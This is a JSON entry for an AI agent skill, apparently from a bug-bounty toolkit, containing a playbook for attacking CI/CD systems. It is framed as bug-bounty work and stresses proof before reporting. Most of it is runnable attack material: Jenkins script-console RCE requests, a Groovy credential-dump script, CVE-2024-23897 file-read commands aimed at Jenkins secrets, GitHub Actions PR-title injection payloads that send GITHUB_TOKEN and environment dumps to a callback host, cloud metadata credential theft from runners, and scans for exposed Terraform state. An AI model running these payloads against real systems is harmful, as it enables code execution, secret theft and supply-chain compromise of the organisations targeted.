{"id":"hunt-cicd","name":"hunt-cicd","summary":"Hunt CI/CDパイプラインの脆弱性 — GitHub Actions ワークフロー注入(pull_request_target Pwnrequest + ${{ }}-into-shell)、セルフホストランナーポイズニング、OIDCトラストポリシーの悪用、JenkinsスクリプトコンソールRCEおよびCVE-…","body":"# HUNT-CICD — CI/CD Pipeline Security\n\n## Crown Jewel Targets\n\nJenkins `/script` console reachable = immediate RCE. A GitHub Actions `pull_request_target` (or `workflow_run`) workflow that checks out the **PR head ref** and references untrusted `${{ github.event.* }}` in a shell `run:` = \"Pwnrequest\" → secret exfil from a fork PR with zero approval.\n\n**Highest-value findings:**\n- **Jenkins Script Console** — Groovy execution → full RCE → dump the credential store\n- **Jenkins CLI file read (CVE-2024-23897)** — pre-auth `@/etc/passwd` arg expansion → read `secret.key`/`credentials.xml` → forge admin → RCE\n- **GitHub Actions `pull_request_target` injection (Pwnrequest)** — fork PR controls `${{ }}` inside a privileged shell step → exfil `GITHUB_TOKEN` (often `contents:write`) and org secrets\n- **Self-hosted runner poisoning** — non-ephemeral runner on a public repo executes a fork PR's build → attacker code runs on the runner host → persistence + secret theft\n- **OIDC trust-policy abuse** — over-broad `sub` claim wildcard in an AWS IAM role trust policy → any workflow in the org assumes a privileged cloud role\n- **Terraform state leakage** — `*.tfstate` in public S3/GCS/Blob → plaintext infra creds, DB passwords, private keys\n- **Runner token / artifact / log leakage** — register attacker runner, or harvest secrets printed before `::add-mask::`\n\n---\n\n## \"It-Didn't-Happen-Without-Proof\" Gate (Read First)\n\nCI/CD findings are over-reported because dashboards *look* exploitable. Before claiming anything:\n\n1. **A login page is not an RCE.** A reachable `/script` URL that returns a Jenkins login or `403` is **not** an unauthenticated script console. Only an actual `scriptText` POST returning your command's output counts.\n2. **A `pull_request_target` workflow is not automatically injectable.** It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR.\n3. **Blind injection requires OOB.** If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh — a unique per-sink subdomain that the runner calls out to. A workflow that \"ran green\" is not proof your code executed.\n4. **A `.tfstate` HTTP 200 is not cred exposure until you parse it.** Diff against a baseline (see FP section) — many `tfstate` files contain only resource IDs and outputs, no secrets.\n\n---\n\n## Phase 1 — Jenkins: Detection, Script Console, CVE-2024-23897\n\n```bash\n# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)\ncurl -sI \"https://$TARGET/\" | grep -iE \"x-jenkins|x-hudson\"\ncurl -sI \"https://$TARGET/login\" | grep -i \"x-jenkins-session\"\nfor p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do\n  code=$(curl -s -o /dev/null -w \"%{http_code}\" \"https://$TARGET$p\")\n  echo \"$p -> $code\"   # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)\ndone\n```\n\n**Unauthenticated script console → RCE (only if the POST returns output):**\n```bash\n# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a\n# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.\ncurl -s -X POST \"https://$TARGET/scriptText\" \\\n  --data-urlencode 'script=println \"id\".execute().text'\n```\n\n**Dump the credential store** (Groovy decrypts secrets the UI masks):\n```groovy\nimport com.cloudbees.plugins.credentials.CredentialsProvider\nimport com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials\nimport org.jenkinsci.plugins.plaincredentials.StringCredentials\nCredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {\n  println \"${it.id} :: ${it.username} :: ${it.password}\"\n}\nCredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {\n  println \"${it.id} :: ${it.secret}\"\n}\n```\n\n**CVE-2024-23897 — pre-auth arbitrary file read via Jenkins CLI** (args4j `@`-file expansion; affects ≤2.441 / LTS ≤2.426.2). With anonymous read, this escalates to RCE by reading `secret.key` + `master.key` to decrypt `credentials.xml`, or reading a user's `config.xml` API token:\n```bash\n# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.\njava -jar jenkins-cli.jar -s \"https://$TARGET/\" -http connect-node \"@/etc/passwd\"\n# The file content is echoed back in the error. Then target:\n#   @/var/lib/jenkins/secret.key  @/var/lib/jenkins/secrets/master.key\n#   @/var/lib/jenkins/credentials.xml\n```\nValidation: the response must contain real file content (root:x:0:0). A generic \"no such agent\" with no leaked line means the instance is patched or the path is wrong — not a finding.\n\n---\n\n## Phase 2 — GitHub Actions: Pwnrequest, `${{ }}`-into-Shell, Runner Poisoning, OIDC\n\n### The core distinction (this is where 90% of false PoCs die)\n\nThere are **two** sink classes — they need different payloads:\n\n- **`${{ }}` template expansion into a shell `run:`** — the expression is substituted into the script *before* the shell runs, so a newline/backtick/`$(...)` in the untrusted field becomes literal shell. This is the classic injection.\n- **Environment variable read inside the shell** — `GITHUB_TOKEN`, `secrets.X`, and any `env:`-mapped value are **shell variables whose value IS the string**. To exfiltrate them you use `echo`/`printenv`, **never** `cat $VAR` (that tries to open a file *named* by the token and prints nothing).\n\n```yaml\n# VULNERABLE workflow (untrusted title flows into the script text):\non: pull_request_target            # runs with write token + secrets, on fork PRs\njobs:\n  build:\n    steps:\n      - uses: actions/checkout@v4\n        with: { ref: ${{ github.event.pull_request.head.sha }} }   # checks out ATTACKER code\n      - run: echo \"Building PR ${{ github.event.pull_request.title }}\"   # ← ${{ }} INJECTION\n```\n\n**Attack via the `${{ }}` sink** — set the PR **title** (or branch name, body, label, commit message — all attacker-controlled) to break out of the echo and run your own commands. Exfiltrate the token with `printenv`, not `cat`:\n```\nPR title:  a\"; printenv GITHUB_TOKEN | base64 | tr -d '\\n' | { read T; curl \"https://x.<COLLAB>/?t=$T\"; }; echo \"\n```\nFor a multi-line YAML `run:`, a newline injection is cleaner:\n```\nPR title:  foo\\n      curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)\n```\n\n**Attack via a poisoned checkout (no `${{ }}` needed)** — if `pull_request_target` checks out the PR head and then runs a build script / installs deps from the checked-out tree (`make`, `npm ci` with a malicious `preinstall`, a Makefile, a `.github/` action in the PR), the *runner executes attacker code directly*. Drop into any build hook:\n```bash\n# in attacker's PR, e.g. package.json preinstall or Makefile:\ncurl -s \"https://x.<COLLAB>/?env=$(printenv | base64 -w0)\"\ncat /proc/self/environ | tr '\\0' '\\n' | base64 -w0   # captures secrets injected as env\n```\n\n**Self-hosted runner poisoning** — if `runs-on: self-hosted` (or a custom label) on a **public** repo with `pull_request`/`pull_request_target`, a fork PR's job runs on the org's own host. Non-ephemeral runners persist tools/creds between jobs. Confirm by reading the runner's identity and metadata from inside the job:\n```bash\n- run: |\n    whoami; hostname; id\n    curl -s \"https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)\"\n    curl -s \"https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)\"\n```\n\n**OIDC trust-policy abuse** — workflows that `configure-aws-credentials` via OIDC assume an IAM role. A trust policy whose `token.actions.githubusercontent.com:sub` condition is missing or uses a loose wildcard (`repo:ORG/*:*`) lets **any** workflow in the org (including a malicious one you can merge, or a fork on a misconfigured trigger) assume that role. Inspect the role:\n```bash\naws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'\n# Red flag: StringLike on sub with \"repo:ORG/*\" or no sub condition at all (only aud).\n```\nThen prove it: from a workflow you control in-org, assume the role and run `aws sts get-caller-identity` returning the privileged role ARN.\n\n### Recon\n\n```bash\n# Enumerate org workflows that use the dangerous triggers\ngh api graphql -f query='{organization(login:\"ORG\"){repositories(first:100){nodes{name}}}}' \\\n  | jq -r '.data.organization.repositories.nodes[].name' | while read r; do\n  for wf in $(gh api \"repos/ORG/$r/contents/.github/workflows\" 2>/dev/null | jq -r '.[]?.name'); do\n    body=$(gh api \"repos/ORG/$r/contents/.github/workflows/$wf\" 2>/dev/null | jq -r '.content' | base64 -d)\n    echo \"$body\" | grep -Eq 'pull_request_target|workflow_run' && \\\n      echo \"$body\" | grep -Eq '\\$\\{\\{ *github\\.event|self-hosted|head\\.ref|head\\.sha' && \\\n      echo \"CANDIDATE: ORG/$r/$wf\"\n  done\ndone\n```\nTriage candidates with the static analyzer before opening any PR: `gh extension install rhysd/actionlint` or run **zizmor** (`pip install zizmor; zizmor .github/workflows/`) which flags template-injection and dangerous-checkout patterns specifically.\n\n---\n\n## Phase 3 — Secrets in Logs & Artifacts\n\n```bash\n# Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,\n# or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.\ngh api \"repos/ORG/REPO/actions/runs\" | jq -r '.workflow_runs[:20][].id' | while read id; do\n  gh api \"repos/ORG/REPO/actions/runs/$id/logs\" > /tmp/r.zip 2>/dev/null && \\\n  unzip -o -q /tmp/r.zip -d /tmp/runlogs && \\\n  grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\\.' /tmp/runlogs\ndone\n\n# Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets\ngh api \"repos/ORG/REPO/actions/artifacts\" | jq -r '.artifacts[] | \"\\(.id) \\(.name)\"'\n```\nNote `actions/upload-artifact` does **not** redact secrets — an artifact named `env`/`debug` is a common direct leak.\n\n---\n\n## Phase 4 — GitLab CI\n\n```bash\n# Runner registration token → register an attacker runner that picks up jobs (and their secrets).\n# Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.\ncurl -s \"https://$TARGET/api/v4/projects/PID/variables\" -H \"PRIVATE-TOKEN: $TOK\"   # masked? protected?\ncurl -s \"https://$TARGET/api/v4/runners?type=instance_type\" -H \"PRIVATE-TOKEN: $TOK\"\n\n# .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,\n# `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).\ncurl -s \"https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main\"\n```\nA registration token alone is **not** a finding unless the instance allows that token to register a runner that will execute a target project's pipeline. Demonstrate by registering an ephemeral runner you own and capturing a job's masked variables.\n\n---\n\n## Phase 5 — Terraform State Leakage\n\n```bash\n# Probe common public-bucket/path patterns (parameterize $T and $ORG)\nfor U in \\\n  \"https://$ORG.s3.amazonaws.com/terraform.tfstate\" \\\n  \"https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate\" \\\n  \"https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate\" \\\n  \"https://storage.googleapis.com/$ORG-tfstate/default.tfstate\" \\\n  \"https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate\" ; do\n  code=$(curl -s -o /tmp/tf.json -w \"%{http_code}\" \"$U\")\n  [ \"$code\" = \"200\" ] && echo \"[+] 200 $U\" && \\\n    jq -r '.resources[].instances[].attributes\n           | to_entries[] | select(.key|test(\"password|secret|private_key|token|access_key\";\"i\"))\n           | \"\\(.key) = \\(.value)\"' /tmp/tf.json 2>/dev/null\ndone\n# Also hunt state in repos / backend configs\ngh search code --owner ORG \"terraform.tfstate\" --limit 10\ngh search code --owner ORG 'backend \"s3\"' --limit 10\n```\n**False-positive filter:** a `tfstate` that lists only `id`, `arn`, `tags` is not a secret leak. Run the `jq` above and confirm at least one *live* credential (a real `password`, `private_key`, RDS master password, or non-rotated access key). Then prove impact by using that credential read-only (`aws sts get-caller-identity`, a DB connect that returns a banner) — do not just claim \"creds in state.\"\n\n---\n\n## Phase 6 — Build Artifact / Image Analysis\n\n```bash\ndocker pull ORG/IMAGE:latest\ndocker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'\n# Layer-level scan catches secrets removed in a later layer but still present in history:\ntrufflehog docker --image ORG/IMAGE:latest --only-verified\n```\n`--only-verified` filters trufflehog to credentials it could actually authenticate — use it to drop the noise of expired/example keys before reporting.\n\n---\n\n## Grounded References (named cases / CVEs)\n\n- **Pwnrequest / `pull_request_target` class** — GitHub Security Lab (Jaroslav Lobačevski), \"Keeping your GitHub Actions and workflows secure: Untrusted input.\" The original write-up of fork-PR secret exfil and the dangerous-checkout pattern.\n- **GitHub Actions workflow-command injection — CVE-2020-15228** — `set-env`/`add-path` workflow commands allowed env/PATH injection from logged output; this drove the deprecation of those commands and the move to `$GITHUB_ENV`.\n- **Jenkins CLI arbitrary file read — CVE-2024-23897** — args4j `@`-prefixed file expansion (Jenkins ≤2.441 / LTS ≤2.426.2), read `secret.key`/`credentials.xml` → admin → RCE.\n- **Jenkins Stapler RCE — CVE-2018-1000861** — dynamic routing reaches `groovy.lang.GroovyShell`; a staple of the unauth script-execution chain on older Jenkins.\n- **PortSwigger / Liam Galvin & others** — research on GitHub Actions injection sinks (title/branch/body/label) and the `${{ }}`-into-`run` template-substitution vector; the basis of the actionlint/zizmor detection rules cited above.\n\n(Only CVEs and cases I can attribute exactly are listed. Confirm the running version against the CVE's affected range before claiming it.)\n\n---\n\n## Chain Table\n\n| CI/CD finding | Chain to | Impact |\n|---|---|---|\n| Jenkins anon script console | Dump credential store → cloud/DB creds → lateral | Critical |\n| Jenkins CLI file read (CVE-2024-23897) | Read `secret.key`+`credentials.xml` → forge admin → RCE | Critical |\n| Actions `${{ }}` injection (Pwnrequest) | `printenv GITHUB_TOKEN`/secrets → push to protected branch | Critical |\n| Self-hosted runner poisoning | Code-exec on runner host → IMDS creds → persistence | Critical |\n| OIDC `sub` wildcard | `AssumeRole` privileged cloud role from any org workflow | Critical |\n| Terraform state w/ live creds | Infra/DB/API credential use | Critical |\n| GitLab runner registration | Register runner → capture pipeline secrets | High/Critical |\n| Image/log/artifact secret | Direct credential use | High |\n\n---\n\n## Validation Discipline (per finding, before you report)\n\n- **Jenkins console:** the `scriptText` POST returns your `id` output (`uid=…(jenkins)`). A returned login/SSO/Crowd page = **not** anon access. Screenshot the request+response.\n- **CVE-2024-23897:** response contains real `/etc/passwd` content; confirm version is in range. Patched instances return an error with no leaked line.\n- **Actions injection:** confirm the data flow into a sink first (FP section). Blind step → **Collaborator callback with the runner's source IP** is mandatory. Token exfil via `printenv`/`/proc/self/environ` decoded at your endpoint — never `cat $GITHUB_TOKEN`.\n- **OIDC abuse:** `aws sts get-caller-identity` from your controlled workflow returns the privileged role ARN — not just a permissive-looking trust policy.\n- **Terraform state:** `jq` extraction yields ≥1 *live* secret, then a read-only auth proves it. ID/ARN-only state = no finding.\n- **Runner token / image / logs:** demonstrate the secret authenticates (trufflehog `--only-verified`, or a real API call) — possession of a string is not impact.\n\n### Common false positives to retract\n- `/script` returning a login page (auth required) reported as \"unauth RCE.\"\n- `pull_request_target` present but untrusted input never reaches a sink (e.g., used only in `if:` on `github.actor`, or the workflow uses `pull_request` not `_target`).\n- `${{ }}` reference that is already wrapped in an `env:` block and quoted in the shell (the recommended safe pattern) — not injectable.\n- `.tfstate` 200 containing only resource metadata.\n- A masked GitLab variable that is `protected` and only exposed to protected branches the attacker can't push to.\n- Trufflehog \"unverified\" hits that are example/expired keys.\n\n**Severity:** Jenkins console / CVE-2024-23897 / Actions secret exfil / runner poisoning / OIDC role assumption / Terraform live creds = **Critical**. Image/log/artifact secret = **High/Critical** by credential scope.","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cicd","license":"MIT","category":"writing","lang":"en","tokens":4434,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["s3.amazonaws.com","storage.googleapis.com"]}}